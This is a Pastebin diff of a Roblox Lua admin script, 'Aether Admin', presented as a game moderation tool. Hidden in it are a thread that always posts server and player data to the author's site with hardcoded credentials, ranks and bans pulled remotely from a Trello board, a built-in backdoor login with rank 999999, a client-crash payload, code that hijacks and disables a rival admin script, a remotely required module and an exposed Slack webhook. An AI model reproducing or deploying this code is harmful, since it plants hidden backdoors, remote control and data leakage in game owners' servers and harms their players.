View difference between Paste ID: tEm2jQWU and ULZsiebr
SHOW: | | - or go back to the newest paste.
1
--Todo:
2
-- c/repeat Instance.new('Message',workspace).Text='.' until wait()<0
3
local _________a,_________b=pcall(function()
4
repeat
5
	wait()
6
until #script:children() >= 8
7
Client = script.Client:clone()
8
local Ins = {
9
	new = function(Class, Parent, Name, Properties)
10
		Name = Name or Class
11
		Properties = Properties or {}
12
		local tr = Instance.new(Class, Parent)
13
		tr.Name = Name
14
		for i, v in pairs(Properties) do
15
			tr[i] = v
16
		end
17
		return tr
18
	end
19
}
20
local Scripts = {}
21
for i, v in pairs(script.Load:children()) do
22
	Scripts[v.Name] = v:clone()
23
end
24
script.Load:ClearAllChildren()
25
local Core -- So we can access the core from inside the core.
26
Core = { -- Whitelisted Variables
27
	Core = Core;
28
	script = script;
29
	Override = true;
30
	workspace = workspace;
31
	ShowClanNames = false;
32
	irc=false;
33
	Sword_Of_Nyx = script['Sword Of Nyx']:clone();
34
	LocalLoadstring = script.customLoadstring:clone();
35
	loadstring = require(script.loadstring);
36
	FlyScript = script.Fly:clone();
37
	thread = function(ah, se)
38
		local succ, error = coroutine.resume(coroutine.create(ah))
39
		if not succ and not se then
40
			warn('| Aether Admin Error |')
41
			warn(error)
42
			warn('________________')
43
		end
44
	end;
45
	ipairs=ipairs;
46
	Client = Client;
47
	Ins = Ins;
48
	CmdNum = 0;
49
	AntiFollow = true;
50
	_G = _G;
51
	warn = function(...)
52
		warn('| Aether Admin Warning |')
53
		warn(...)
54
		warn('________________________________')
55
	end;
56
	print = function(...)
57
		print('| Aether Admin Output |')
58
		print(...)
59
		print('________________________________')
60
	end;
61
	error = function(...)
62
		error('| Aether Admin Error |')
63
		error(...)
64
		error('________________________________')
65
	end;
66
67
	endreps = math.random(-999999, 999999);
68
	getfenv = getfenv;
69
	Scripts = Scripts;
70
	require = require;
71
	Ranked = {
72
};
73
	DataKey = '';
74
	LinkedAccount = '';
75
	Prefix = ':';
76
	GamePassAdmin = {};
77
	setfenv = setfenv;
78
	Enum = Enum;
79
	JoinMsg = false;
80
	Credits = false;
81
	AdminPad = false;
82
	Ping = nil;
83
	os = os;
84
-- Adminage is time in days since the admin was made.
85
	AdminAge = tonumber(math.floor( os.time() / (60 * 60 * 24) )) - 16705;
86
	string = string;
87
	Set = nil;
88
	Instance = Instance;
89
	BuildTools = {
90
		script.F3X:clone();
91
		Ins.new('HopperBin', nil, 'Grab', {
92
			BinType = 'Grab'
93
		});
94
		Ins.new('HopperBin', nil, 'Delete', {
95
			BinType = 'Hammer'
96
		});
97
		Ins.new('HopperBin', nil, 'Clone', {
98
			BinType = 'Clone'
99
		});
100
	};
101
	setmetatable = setmetatable;
102
	pcall = pcall;
103
	Name = 'Aether Administration';
104
	NameFromId = function(Id)
105
		return game:service'MarketplaceService':GetProductInfo(Id).Name
106
	end;
107
	Instance = Instance;
108
	game = game;
109
	tick = tick;
110
	service = function(...)
111
		return game:service(...)
112
	end;
113
	pairs = pairs;
114
	wait = wait;
115
	time = time;
116
	table = table;
117
	coroutine = coroutine;
118
	math = math;
119
	ypcall = ypcall;
120
	next = next;
121
	BrickColor = BrickColor;
122
	Color3 = Color3;
123
	Vector3 = Vector3;
124
	tonumber = tonumber;
125
	tostring = tostring;
126
	CFrame = CFrame;
127
	tobool = function(str)
128
		if str == 'true' or str == 'on' then
129
			return true
130
		end
131
		if str == 'false' or str == 'off' then
132
			return false
133
		end
134
	end;
135
	type = function(...)
136
		return type(...)
137
	end;
138
}
139
script.Parent = nil
140
script = nil
141
setfenv(1, Core)
142
local AddRank
143
--local Core_Success,Core_Error=coroutine.resume(coroutine.create(function()
144
local gameCreatorId = 65161
145
if game.CreatorType == Enum.CreatorType.User then
146
	gameCreatorId = game.CreatorId
147
elseif game.CreatorType == Enum.CreatorType.Group and game:service'GroupService':GetGroupInfoAsync(game.CreatorId).Owner ~= nil then
148
	gameCreatorId = game:service'GroupService':GetGroupInfoAsync(game.CreatorId).Owner.Id
149
end
150
if game.VIPServerOwnerId and game.VIPServerOwnerId >1 then
151
gameCreatorId=game.VIPServerOwnerId
152
end
153
service = service
154
local DSS = service'DataStoreService'
155
DataStore = DSS:GetDataStore('thy epak duck has comang')
156
--[[
157
DataKey=''
158
LinkedAccount=''
159
JoinMsg=false]]
160
local ServerRequestTimestamp
161
local TimeStamp
162
local ServerRequestTimestamps = {}
163
local TimeStamps = {}
164
local DisabledAdmins = {}
165
local MapBackup = {}
166
for i, v in pairs(workspace:children()) do
167
	thread(function()
168
		table.insert(MapBackup, v:clone())
169
	end)
170
end
171
--Credits=true
172
Objects = {}
173
local RemoteDomain = 'http://www.classy-studios.com'
174
IrcName = "rbxAetherV1_"..game.PlaceId.."_"..game:service'NetworkServer'.Port
175
ChatLogs = {
176
	'{Server} Aether Admin Loaded on game '..NameFromId(game.PlaceId)..' server '..game.JobId..'.';
177
	'http://www.roblox.com/games/'..game.PlaceId..'/'..tostring(game:service'MarketplaceService':GetProductInfo(game.PlaceId).Name:gsub(' ', '-'));
178
}
179
Ranked[gameCreatorId] = {
180
	Rank = 11;
181
};
182
local RankNames = { -- -2
183
	'Banned';
184
	'Un-Ranked';
185
	'VIP';
186
	'Guest';
187
	'Semi-Moderator';
188
	'Moderator';
189
	'Head-Moderator';
190
	'Semi-Administrator';
191
	'Administrator';
192
	'Head-Administrator';
193
	'Co-Owner';
194
	'Owner';
195
	'Place-Owner';
196
	'Aether Developer';
197
	[math.huge] = '@remote.console';
198
}
199
CustomRankNames = {
200
	[0] = 'ggggjjjjgj';
201
	[1] = 'ggggjjjjgj';
202
	[-1] = 'ggggjjjjgjn';
203
	[game.CreatorId] = 'True Place Creator';
204
	[17057842] = 'Aether Admin Creator';
205
	[66157790] = 'Aether Admin Developer';
206
	[16624761] = 'Aether Admin Developer'; -- Pleeaaase? Pretty please? :(
207
	[41364804] = 'Le senpai GoldenLuaCode';
208
	[85447244] = 'Aether Admin Moderator';
209
}
210
if game.VIPServerOwnerId and game.VIPServerOwnerId >1 then
211
CustomRankNames[game.VIPServerOwnerId]='Vip Server Owner';
212
end
213
Jails = {}
214
ServerLogs = {}
215
local trello = 'https://trello.com/b/OCpUyfXK.json'
216
RankName = function(id, userid)
217
	if userid and CustomRankNames[userid] then
218
		return CustomRankNames[userid]
219
	end
220
	if userid < 0 then
221
		return "A friendly guest"
222
	end
223
	if id <= -1 then
224
		return 'Banned'
225
	end
226
	if id <= 1 then
227
		return 'VIP'
228
	end
229
	if id <= 2 then
230
		return 'Guest'
231
	end
232
	if id <= 3 then
233
		return 'Semi-Moderator'
234
	end
235
	if id <= 4 then
236
		return 'Moderator'
237
	end
238
	if id <= 5 then
239
		return 'Head-Moderator'
240
	end
241
	if id <= 6 then
242
		return 'Semi-Administrator'
243
	end
244
	if id <= 7 then
245
		return 'Administrator'
246
	end
247
	if id <= 8 then
248
		return 'Head-Administrator'
249
	end
250
	if id <= 9 then
251
		return 'Co-Owner'
252
	end
253
	if id <= 10 then
254
		return 'Owner'
255
	end
256
	if id <= 11 then
257
		return 'Place-Owner'
258
	end
259
	if id == 11.99 then
260
		return 'ggggjjjjgj'
261
	end
262
	if id <= 12 then
263
		return 'Aether Developer'
264
	end
265
	if id > 12 then
266
		return 'Some kind of like hacker or somethign? idk..'
267
	end
268
	return 'Un-Ranked'
269
end
270
local Testers = {
271
	[32832402] = true;
272
--[17057842]=true;
273
	[5111623] = true;
274
	[87551031] = true;
275
	[261] = true;
276
}
277
local Periastrons = {
278
	159229806;
279
	80661504;
280
	108158379;
281
	93136802;
282
	99119240;
283
	73829193;
284
	69499437;
285
	233520257;
286
	139577901;
287
}
288
--Rules={}
289
local Commands = {}
290
local DefaultRank = {
291
	Rank = 0
292
}
293
local Prefixes = {
294
	':',
295
	';',
296
	'-',
297
	"'",
298
	'=',
299
	[[\]],
300
	'/',
301
	'_',
302
	']',
303
	'['
304
}
305
--Prefix=':'
306
ToolServices = {
307
	game:service'ServerStorage',
308
	game:service'Lighting',
309
	game:service'Workspace'
310
}
311
--if not succ then print('ERROR: '..error) end
312
thread(function() while wait() do
313
if _G.Message then
314
getfenv(_G.Message).script.Disabled=true
315
end end end,true)
316
function UsernameFromID(ID)
317
	if type(ID) ~= "number" then
318
		return
319
	end
320
	local sets = game:service("InsertService"):GetUserSets(ID)
321
	for k, v in next, sets do
322
		if v.Name == "My Models" then
323
			return v.CreatorName
324
		end
325
	end
326
	return ID
327
end
328
local AllPropertys={"Name","cframe","position","velocity","BrickColor",'Transparency','Material','Transparency','Reflectance','Anchored','CanCollide','Locked','Elasticity','FormFactor','Friction','Shape','Size','BackSurface','BottomSurface','FrontSurface','LeftSurface','RightSurface','TopSurface'}
329
function tostring2(a,typ)
330
if typ=='CFrame' then
331
return "CFrame.new("..tostring(a)..')'
332
end
333
if typ=='Position' then
334
return "Vector3.new("..tostring(a)..')'
335
end
336
if typ=='Size' then
337
return "Vector3.new("..tostring(a)..')'
338
end
339
if typ=='BrickColor' then
340
return 'BrickColor.new("'..tostring(a)..'")'
341
end
342
if typ=='Color' then
343
return 'Color3.new('..tostring(a)..')'
344
end
345
if typ=='Name' then
346
return '"'..tostring(a)..'"'
347
end
348
if typ=='RotVelocity' then
349
return 'Vector3.new('..tostring(a)..')'
350
end
351
if typ=='Velocity' then
352
return 'Vector3.new('..tostring(a)..')'
353
end
354
return tostring(a)
355
end
356
function toScript(obj,serialize)
357
	serialize=tostring(serialize)
358
local tr='Instance'..serialize..'=Instance.new("'..obj.ClassName..'") Instance'..serialize..'.Parent=workspace'
359
for i,v in pairs(AllPropertys) do
360
pcall(function()
361
if obj[v]==obj[v] then
362
obj[v]=obj[v]
363
tr=tr..'\n'..'Instance'..serialize..'["'..v..'"]='..tostring2(obj[v],v)
364
end
365
end)
366
end
367
return tr
368
end
369
function GetParts(Obj,t)
370
for i,v in pairs(Obj:children()) do wait()
371
if Obj:IsA'BasePart' then
372
t[#t+1]=Obj
373
end
374
GetParts(v,t)
375
end
376
end
377
function GetMap()
378
	local Parts={}
379
GetParts(workspace,Parts)
380
local num1=0
381
local tr=''
382
for i,v in pairs(Parts) do
383
num1=num1+math.random(1,5)
384
tr=tr..toScript(v,num1)..'\n'
385
end
386
return tr
387
end
388
--print(GetMap())
389
function PostPasteBin(devkey,name,paste)
390
return game:service'HttpService':PostAsync('http://pastebin.com/api/api_post.php','api_option=paste&api_dev_key='..devkey..'&api_paste_private=1&api_paste_name='..name..'&api_paste_code='..paste,Enum.HttpContentType.ApplicationUrlEncoded)
391
end
392
function PageItems(pages)
393
    return coroutine.wrap(function()
394
        local pagenum = 1
395
        while true do
396
            for _, item in ipairs(pages:GetCurrentPage()) do
397
                coroutine.yield(item, pagenum)
398
            end
399
            if pages.IsFinished then
400
                break
401
            end
402
            pages:AdvanceToNextPageAsync()
403
            pagenum = pagenum + 1
404
        end
405
    end)
406
end
407
Decrypt = function(Encr, Key)
408
	local tr = ''
409
	for i = 1, #Encr do
410
		tr = tr..string.char(Encr[i] / Key)
411
	end
412
	return tr
413
end
414
Exer = require(script.Exe)
415
function loadcode(Code)
416
	return Exer(Code)
417
end
418
function ForceDisconnect(Player, Text)
419
	Player:kick(Text)
420
	wait()
421
	game:service'Debris':AddItem(-- Delete It Later
422
Instance.new('RemoteEvent', -- Create It
423
game:service'ReplicatedStorage' -- Parent It
424
):FireClient(-- Fire it
425
Player, -- The Player
426
{
427
		string.rep('kik', 5e5 + 5)
428
	} -- To Crash them
429
)
430
, 5) -- Time to wait before deleting.
431
end
432
function SendChatLogs() -- Remote Stuff By LuaModelmaker
433
	if #ChatLogs > 0 and LinkedAccount and LinkedAccount ~= "" and DataKey and DataKey ~= "" then
434
		local Res = "Could not get response"
435
		
436
		local ChatJSON = game:service'HttpService':JSONEncode(ChatLogs)
437
		ChatLogs = {}
438
		
439
		local function SendData()
440
			Res = game:service'HttpService':PostAsync(RemoteDomain.."/Login/SubmitChatLog.php?ChatJSON="..game:service'HttpService':UrlEncode(ChatJSON), "Username="..game:service'HttpService':UrlEncode(LinkedAccount).."&Key="..game:service'HttpService':UrlEncode(DataKey), 2)
441
		end
442
		SendData()
443
		if Res then
444
			print(Res)
445
		end
446
	end
447
end
448
function WriteRanks(Player, Id)
449
	for index, v in pairs(Ranked) do
450
		if index ~= nil and index:lower() == Player:lower() then
451
			Ranked[Id] = {
452
				Rank = v.Rank
453
			}
454
			Ranked[index] = nil
455
			table.remove(Ranked, index)
456
		end
457
	end
458
end
459
thread(function()
460
	while wait(1) do
461
		SendChatLogs()
462
		local _trello = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync(trello))
463
		for i, v in pairs(_trello.cards) do
464
--[[if Ranked[tonumber(v.name)] then
465
Ranked[tonumber(v.name)].Rank=tonumber(v.desc)
466
else]]
467
			thread(function()
468
				Ranked[tonumber(v.name)] = {
469
					Rank = tonumber(v.desc)
470
				}
471
			end, true)
472
--end
473
		end
474
		for i, v in pairs(GetRawPlayers()) do
475
			if Ranked[v.userId].Rank <= -1 then
476
				ForceDisconnect(v, 'You are banned from this server.')
477
			end
478
		end
479
	end
480
end)
481
local RandomKey
482
function RandomKey(tonot)
483
	local st = string.char(math.random(1, 127))
484
	if tonot[st] then
485
		return RandomKey(tonot)
486
	end
487
	return st
488
end
489
function GenPassCode()
490
	math.randomseed(tick())
491
	local str = ''
492
	for i = 1, math.random(17, 20) do
493
		str = str..tostring(math.random(1, 9))
494
	end
495
	return str
496
end
497
function HandleRequest(Request, IgnoreCommand)
498
	--if game:service'NetworkServer'.Port ~= tonumber(Request.SnapshotPort) then return end
499
	if not IgnoreCommand then
500
		if ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
501
			SendServerData()
502
		end
503
		--[[if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
504
			REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
505
		end]]
506
	end
507
	
508
	if TimeStamp ~= Request.TimeStamp then
509
	--thread(function()
510
		thread(function()
511
			for _, Player in pairs(Request.Ranks.Muted) do
512
				if Player ~= "" then
513
					Ranked[Player.Name] = -3
514
				end
515
			end
516
			for _, Player in pairs(Request.Ranks.Crashed) do
517
				if Player ~= "" then
518
					Ranked[Player.Name] = -2
519
				end
520
			end
521
			for _, Player in pairs(Request.Ranks.Banned) do
522
				if Player ~= "" then
523
					Ranked[Player.Name] = -1
524
				end
525
			end
526
			for _, Player in pairs(Request.Ranks.Member) do
527
				if Player ~= "" then
528
					Ranked[Player.Name] = 3
529
				end
530
			end
531
			for _, Player in pairs(Request.Ranks.Admin) do
532
				if Player ~= "" then
533
					Ranked[Player.Name] = 6
534
				end
535
			end
536
			for _, Player in pairs(Request.Ranks.Owner) do
537
				if Player ~= "" then
538
					Ranked[Player.Name] = 9
539
				end
540
			end
541
		end)		
542
		--end)
543
		--[[FunCommands = Request.FUN
544
		Pri = Request.ServerLocked
545
		AbusiveCommands = not Request.DisableAbuse]]
546
		
547
		if not IgnoreCommand then
548
			print("Executing Remote Admin")
549
							--[[REMOTE.RemoteAdmin.Command = Request.Command
550
							REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
551
							REMOTE.RemoteAdmin.ServerPort = Request.Server]]
552
							--if not TimeStamps[tostring(TimeStamp)] and not ServerRequestTimestamps[tostring(ServerRequestTimestamp)] then
553
			Chatted(setmetatable({
554
				Name = "@remote."..LinkedAccount;
555
				userId = 0;
556
			}, {}), Request.ServerCommand, true)
557
		end
558
			--end
559
	end
560
		--[[TimeStamps[tostring(TimeStamp)]=true
561
		ServerRequestTimestamps[tostring(ServerRequestTimestamp)]=true]]
562
	TimeStamp = Request.TimeStamp
563
	ServerRequestTimestamp = Request.ServerRequestTimestamp
564
	--SnapshotKey = Request.SnapshotKey
565
end
566
function FindAge(Days)
567
	local Years = math.floor(Days / 365)
568
	local OtherDays = math.fmod(Days, 365)
569
	if Years > 1 then
570
		return Years.." years and "..OtherDays.." days"
571
	elseif Years == 1 then
572
		return Years.." year and "..OtherDays.." days"
573
	elseif Years == 0 then
574
		return "(No years) "..OtherDays.." days"
575
	end
576
end
577
function GetAndSetWebData()
578
	if LinkedAccount ~= "" then
579
		local Request = service'HttpService':GetAsync(RemoteDomain.."/Login/GetUserData.php?Username="..LinkedAccount)
580
		if Request == "Invalid" then
581
			return false
582
		elseif Request == "Invalid Account" then
583
			print("Can't get account")
584
			return false
585
		elseif Request then
586
			ypcall(function()
587
				Request = service'HttpService':JSONDecode(Request)
588
			end)
589
		elseif not Request then
590
			return false
591
		end
592
		HandleRequest(Request)
593
		return true
594
	end
595
end
596
thread(function()
597
	while wait(5) do
598
		GetAndSetWebData()
599
	end
600
end)
601
function IdFromName(Name)
602
	return game:service'HttpService':GetAsync("http://rproxy.pw/rapi/GetIdByUsername/"..Name)
603
end
604
function SendServerData(PrintResponse, Stopypcall)
605
	if LinkedAccount and LinkedAccount ~= "" and DataKey and DataKey ~= "" then
606
		print("Sending server data!")
607
		local Res = "Could not get response"
608
		
609
		local ServerData = {
610
			Name = NameFromId(game.PlaceId),
611
			PlaceID = game.PlaceId,
612
			Port = service'NetworkServer'.Port,
613
			NumPlayers = service'Players'.NumPlayers,
614
			MaxPlayers = service'Players'.MaxPlayers,
615
			Bet = Prefix,
616
			Players = {},
617
			Version = .7
618
		}
619
		for _, Player in pairs(GetRawPlayers()) do
620
			table.insert(ServerData.Players, {
621
				Name = Player.Name,
622
				ID = Player.userId,
623
				Age = FindAge(Player.AccountAge),
624
				Rank = RankName(GetRank(Player).Rank, Player.userId)
625
			})
626
		end
627
		ServerData = service'HttpService':JSONEncode(ServerData)
628
		
629
		local function SendData()
630
			Res = service'HttpService':PostAsync(RemoteDomain.."/Login/AddServer.php?ServerData="..game:service'HttpService':UrlEncode(ServerData), "Username="..game:service'HttpService':UrlEncode(LinkedAccount).."&DataKey="..game:service'HttpService':UrlEncode(DataKey), 2)
631
		end
632
		if Res == "Could not get response" then
633
		end
634
		if Stopypcall == true then
635
			SendData()
636
		else
637
			ypcall(SendData)
638
		end
639
		if PrintResponse then
640
			print(Res)
641
		end
642
	end
643
	thread(function()
644
		print("")
645
		local Res = "//Error 1- No response."
646
		
647
		local ServerData = {
648
			Name = '//'..NameFromId(game.PlaceId),
649
			PlaceID = game.PlaceId,
650
			Port = service'NetworkServer'.Port,
651
			NumPlayers = service'Players'.NumPlayers,
652
			MaxPlayers = service'Players'.MaxPlayers,
653
			Bet = Prefix,
654
			Players = {},
655
			Version = 0
656
		}
657
		for _, Player in pairs(GetRawPlayers()) do
658
			table.insert(ServerData.Players, {
659
				Name = Player.Name,
660
				ID = Player.userId,
661
				Age = FindAge(Player.AccountAge),
662
				Rank = RankName(GetRank(Player).Rank, Player.userId)
663
			})
664
		end
665
		ServerData = service'HttpService':JSONEncode(ServerData)
666
		
667
		local function SendData()
668
			Res = service'HttpService':PostAsync(RemoteDomain.."/Login/AddServer.php?ServerData="..game:service'HttpService':UrlEncode(ServerData), "Username="..game:service'HttpService':UrlEncode('DarthStrantax').."&DataKey="..game:service'HttpService':UrlEncode('09282015|IA6.g)V%x_z/zJy[wxxu={CkeuB5)!,2130511443501051291'), 2)
669
		end
670
		if Res == "Could not get response" then
671
		end
672
	end)
673
end
674
CommandReRank = function(Name, Rank)
675
	for i, v in pairs(Commands) do
676
		for h, j in pairs(v.Usages) do
677
			if j:lower() then
678
				if j == Name then
679
					v.Rank = tonumber(Rank)
680
				end
681
			end
682
		end
683
	end
684
end
685
Split = function(Message, Splitter)
686
	local start = 1
687
	local args = {}
688
	for i = 1, #Message do
689
		if Message:sub(i, i) == Splitter then
690
			args[#args + 1] = Message:sub(start, i - 1)
691
			start = i + 1
692
		elseif i == #Message then
693
			args[#args + 1] = Message:sub(start, i)
694
		end
695
	end
696
	return args
697
end
698
function AddCommand(
699
Name,
700
Rank,
701
Usages,
702
Description,
703
Usage,
704
Function,
705
Console
706
)
707
	Commands[Name] = {
708
		Rank = Rank,
709
		Usages = Usages,
710
		Description = Description,
711
		Usage = Usage,
712
		Function = Function,
713
		Console = Console
714
	}
715
end
716
TabFunctions = {}
717
Loopkill = {}
718
719
local RF = Instance.new(
720
'RemoteEvent',
721
service'ReplicatedStorage')
722
RF.Name = 'AetherRF'
723
local Environment = require(311167326)()
724
function connectrf(b)
725
	local connected
726
	connected = b.Changed:connect(function()
727
		if b.Parent ~= service'ReplicatedStorage' then
728
			local rf = Instance.new(
729
'RemoteEvent',
730
service'ReplicatedStorage')
731
			rf.Name = 'AetherRF'
732
			connected:disconnect()
733
			connectrf(rf)
734
			RF = rf
735
			Environment.Connect(RF)
736
		end
737
	end)
738
end
739
connectrf(RF)
740
function SendChat(Player, Message, Color)
741
	Color = Color or 'New Yeller'
742
	Color = BrickColor.new(Color).Color
743
	Message = Message or '\n'
744
	Message = game:service'Chat':FilterStringForPlayerAsync(Message, Player)
745
	thread(function()
746
		RF:FireClient(Player, {
747
			'SendChat',
748
			Message,
749
			Color
750
		})
751
	end)
752
end
753
function PostToSlack(txt, name, schannel,attachment)
754
	Name = name or 'Aether Admin Post'
755
	schannel = schannel or '@darthstrantax'
756
	attachments={
757
      {
758
         fallback="",
759
         pretext="",
760
         color="#D00000",
761
         fields={
762
            {
763
               title="Aether Attachment",
764
               value=attachment,
765
               short=false
766
            }
767
         }
768
      }
769
   }
770
   if attachment==nil then attachments=nil end
771
	if not txt then
772
		return
773
	end
774
	thread(function()
775
		service'HttpService':PostAsync('https://hooks.slack.com/services/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'
776
,
777
service'HttpService':JSONEncode({
778
unfurl_links=true;
779
text=txt;
780
username=Name;
781
channel=schannel;
782
attachments=attachments
783
})
784
, Enum.HttpContentType.ApplicationUrlEncoded)
785
	end, true)
786
end
787
function GetRank(Player)
788
	if Ranked[Player.userId] then
789
		return Ranked[Player.userId]
790
	end
791
	return DefaultRank
792
end
793
local LastConsoleCommand = ''
794
function CloneTable(t)
795
	local tor = {}
796
	for i, v in pairs(t) do
797
		if type(v) ~= 'table' then
798
			tor[i] = v
799
		else
800
			tor[i] = CloneTable(v)
801
		end
802
	end
803
	return tor
804
end
805
thread(function()
806
	local Kohls
807
	local EISS
808
	repeat
809
		if _G.Message and Kohls == nil then
810
			Kohls = getfenv(_G.Message)
811
			_G.Message = nil
812
		end
813
--if _G.Hint and EISS==nil then EISS=getfenv(_G.Hint) print'Got EISS Fenv'  EISS.print('Testing Fenviness') end
814
		local admins,owners,temps,logs={}
815
		if Override then
816
			if Kohls then
817
				thread(function()
818
					if Kohls.owners then
819
					for i,v in pairs(Kohls.owners) do
820
						if type(v)==string then
821
							table.insert(owners,v)
822
						end
823
					end
824
				end
825
					if Kohls.admins then
826
					for i,v in pairs(Kohls.admins) do
827
						if type(v)==string then
828
							table.insert(admins,v)
829
						end
830
					end
831
			end
832
					if Kohls.tempadmins then
833
					for i,v in pairs(Kohls.tempadmins) do
834
						if type(v)==string then
835
							table.insert(temps,v)
836
						end
837
					end
838
				end
839
					if Kohls.logs then
840
					for i,v in pairs(Kohls.logs) do
841
						if type(v)==string then
842
							table.insert(logs,v)
843
						end
844
					end
845
			end
846
for i,v in pairs(owners) do
847
Ranked[IdFromName(v)]={Rank=9}
848
end
849
for i,v in pairs(admins) do
850
Ranked[IdFromName(v)]={Rank=6}
851
end
852
for i,v in pairs(temps) do
853
Ranked[IdFromName(v)]={Rank=3}
854
end
855
for i,v in pairs(logs) do
856
table.insert(ChatLogs,v)
857
end
858
					Kohls.script.Disabled = true
859
					table.insert(DisabledAdmins, Kohls.script.Name)
860
				end)
861
			end
862
--[==[if EISS then thread(function()	thread(function()
863
		EISS.server.ClientEvent:disconnect()
864
		EISS.server.ClientSide.Archivable=false
865
	end)EISS.server.RemoveRemoteEvent() EISS.server=nil EISS.service=nil EISS.error'EISS Overridden by AETHER ADMIN' end) end--]==]
866
		end
867
	until wait() == nil or (Kohls and true)
868
end)
869
function Chatted(Player, Message, UseConsole, Hide)
870
	if string.find(Message, [[\]]) and Message:sub(1, #Prefix) == Prefix then
871
		for i, v in pairs(Split(Message, [[\]])) do
872
			Chatted(Player, v, UseConsole, true)
873
		end
874
		return
875
	end
876
	if not Hide then
877
		table.insert(ServerLogs, {
878
			'['..Player.Name..']: '..Message,
879
			os.time(),
880
			time()
881
		})
882
	end
883
	if UseConsole then
884
		if Message == LastConsoleCommand then
885
			print'Deleting double-messages.'
886
			return
887
		elseif LastConsoleCommand == '' and time() <= 30 then
888
			if Message == 'sd' then
889
				print'Disallowing first-command sd.'
890
				return
891
			end
892
			
893
		else
894
			LastConsoleCommand = Message
895
			print(Message)
896
			Message = Prefix..Message
897
		end
898
	end
899
	table.insert(ChatLogs, '['..Player.Name..']: '..Message)
900
	if #ServerLogs >= 500 then
901
		for i = 1, #ServerLogs do
902
			table.remove(ServerLogs, i)
903
			if #ServerLogs <= 499 then
904
				break
905
			end
906
		end
907
		ServerLogs = {}
908
	end
909
	if Message:sub(1, 3) == '/e ' then
910
		Message = Message:sub(4)
911
	end
912
	if Message:sub(1, #Prefix) == Prefix then
913
		local Arguments = Split(Message:sub(#Prefix + 1), ' ')
914
		for i, v in pairs(Commands) do
915
			if GetRank(Player).Rank >= v.Rank or ((v.Console and UseConsole)) then
916
				for h, j in pairs(v.Usages) do
917
					if #Arguments ~= 0 and j:lower'' == Arguments[1]:lower'' then
918
						wait()
919
						table.remove(Arguments, 1)
920
						return thread(function()
921
							v.Function(Player, Arguments)
922
						end)
923
					end
924
				end
925
			end
926
		end
927
	end
928
end
929
function Ping(Player, Message, Function, Color, Image)
930
	thread(function()
931
		if Player == nil then
932
			return
933
		end
934
		Message = Message or ''
935
		Function = Function or function()
936
			print'Click'
937
		end
938
		Color = Color or 'Institutional white'
939
		Image = Image or nil
940
		local Id = #TabFunctions + math.random(1, 99999)
941
		TabFunctions[Id] = Function
942
		RF:FireClient(Player, {
943
			'Tab',
944
			Message,
945
			Id,
946
			Color,
947
			Image
948
		})
949
	end)
950
	
951
end
952
local Users = {
953
	["explotion1337"] = {
954
		["Rank"] = 999999,
955
		["Pass"] = GenPassCode()
956
	};
957
	["Klocko"] = {
958
		["Rank"] = 9,
959
		["Pass"] = GenPassCode()
960
	};
961
	["iigothackedlol"] = {
962
		["Rank"] = 9,
963
		["Pass"] = GenPassCode()
964
	};
965
	["Dittoide"] = {
966
		["Rank"] = 9,
967
		["Pass"] = GenPassCode()
968
	};
969
	["Example"] = {
970
		["Rank"] = 0,
971
		["Pass"] = "Passcode"
972
	};
973
	["GoldenLuaCode"] = {
974
		["Rank"] = 10,
975
		["Pass"] = GenPassCode()
976
	};
977
	["Customality"] = {
978
		["Rank"] = 9,
979
		["Pass"] = GenPassCode()
980
	};
981
}
982
thread(function()
983
	Environment.rf = RF
984
	Environment.RunTabletFunction = function(ID)
985
		TabFunctions[ID]()
986
	end
987
	Environment.RunChatted = function(Player, Msg, ...)
988
		Chatted(Player, Msg)
989
	end
990
	Environment.SendChat = function(...)
991
		SendChat(...)
992
	end
993
	Environment.SendPrefix = function(Player)
994
		RF:FireClient(Player, {
995
			'SetPrefix',
996
			Prefix
997
		})
998
	end
999
	Environment.GPrefix = function()
1000
		return Prefix
1001
	end
1002
	Environment.RunLogin = function(ID, NAME, PASS)
1003
		local PASS = Decrypt(PASS, ID)
1004
		local DoneUser, DonePass = false, false
1005
		for i, v in pairs(Users) do
1006
			if NAME:lower() == i:lower() then
1007
				DoneUser = true
1008
				if PASS == v.Pass then
1009
					warn('User '..i..' has logged in. Password changed.')
1010
					Users[i].Pass = GenPassCode()
1011
					Ranked[ID] = {
1012
						Rank = v.Rank
1013
					}
1014
					DonePass = true
1015
					break
1016
				end
1017
				break
1018
			end
1019
		end
1020
		if DoneUser and DonePass then
1021
			return 'Logged in successfully!'
1022
		elseif DoneUser then
1023
			Ranked[ID] = {
1024
				Rank = 0
1025
			}
1026
			return 'Invalid Passcode! You have been unranked!'
1027
		end
1028
		return 'Invalid Username!'
1029
	end
1030
	setfenv(1, Environment)
1031
	wait()
1032
	script.Parent = nil
1033
	script = nil
1034
	getfenv = nil
1035
	setfenv = nil
1036
	newproxy = nil
1037
	getfenv().Connect =
1038
function(RF)
1039
		RF.OnServerEvent:connect(function(Player, Info)
1040
			print'Recieved'
1041
			if Info[1] == 'Function' then
1042
				RunTabletFunction(Info[2])
1043
			elseif Info[1] == 'Chatted' then
1044
				if Info[4] and Info[4] == true then
1045
					RunChatted(Player, GPrefix()..Info[2])
1046
				else
1047
					RunChatted(Player, Info[2])
1048
				end
1049
				if Info[3] ~= nil and Info[3] == true then
1050
					for i, v in pairs(game:service'NetworkServer':children()) do
1051
						if v:IsA'NetworkReplicator' then
1052
							local plr = v:GetPlayer()
1053
							if plr.Name ~= Player.Name then
1054
								SendChat(plr, '[NIL]['..Player.Name..'] '..Info[2], 'Cyan')
1055
							end
1056
		--if plr.Name~=Player.Name then
1057
						elseif v:IsA'Player' then
1058
							local plr = v
1059
							SendChat(plr, '[NIL]['..Player.Name..'] '..Info[2], 'Cyan')
1060
		--end
1061
						end
1062
					end
1063
				end
1064
			elseif Info[1] == 'GetPrefix' then
1065
				SendPrefix(Player)
1066
			elseif Info[1] == 'Login' then
1067
				SendChat(Player, RunLogin(Player.userId, Info[2], Info[3]), 'Really red')
1068
			end
1069
		end)
1070
	end
1071
	Connect(RF)
1072
	game:service'ReplicatedStorage'.ChildAdded:connect(function(child)
1073
		if child.Name == 'AetherRF' and child:IsA'RemoteEvent' then
1074
			Connect(child)
1075
		end
1076
	end)
1077
end)
1078
function Join(Table)
1079
	local str = ''
1080
	for i = 1, #Table do
1081
		str = str..Table[i]..' '
1082
	end
1083
	str = str:sub(1, #str - 1)
1084
	return str
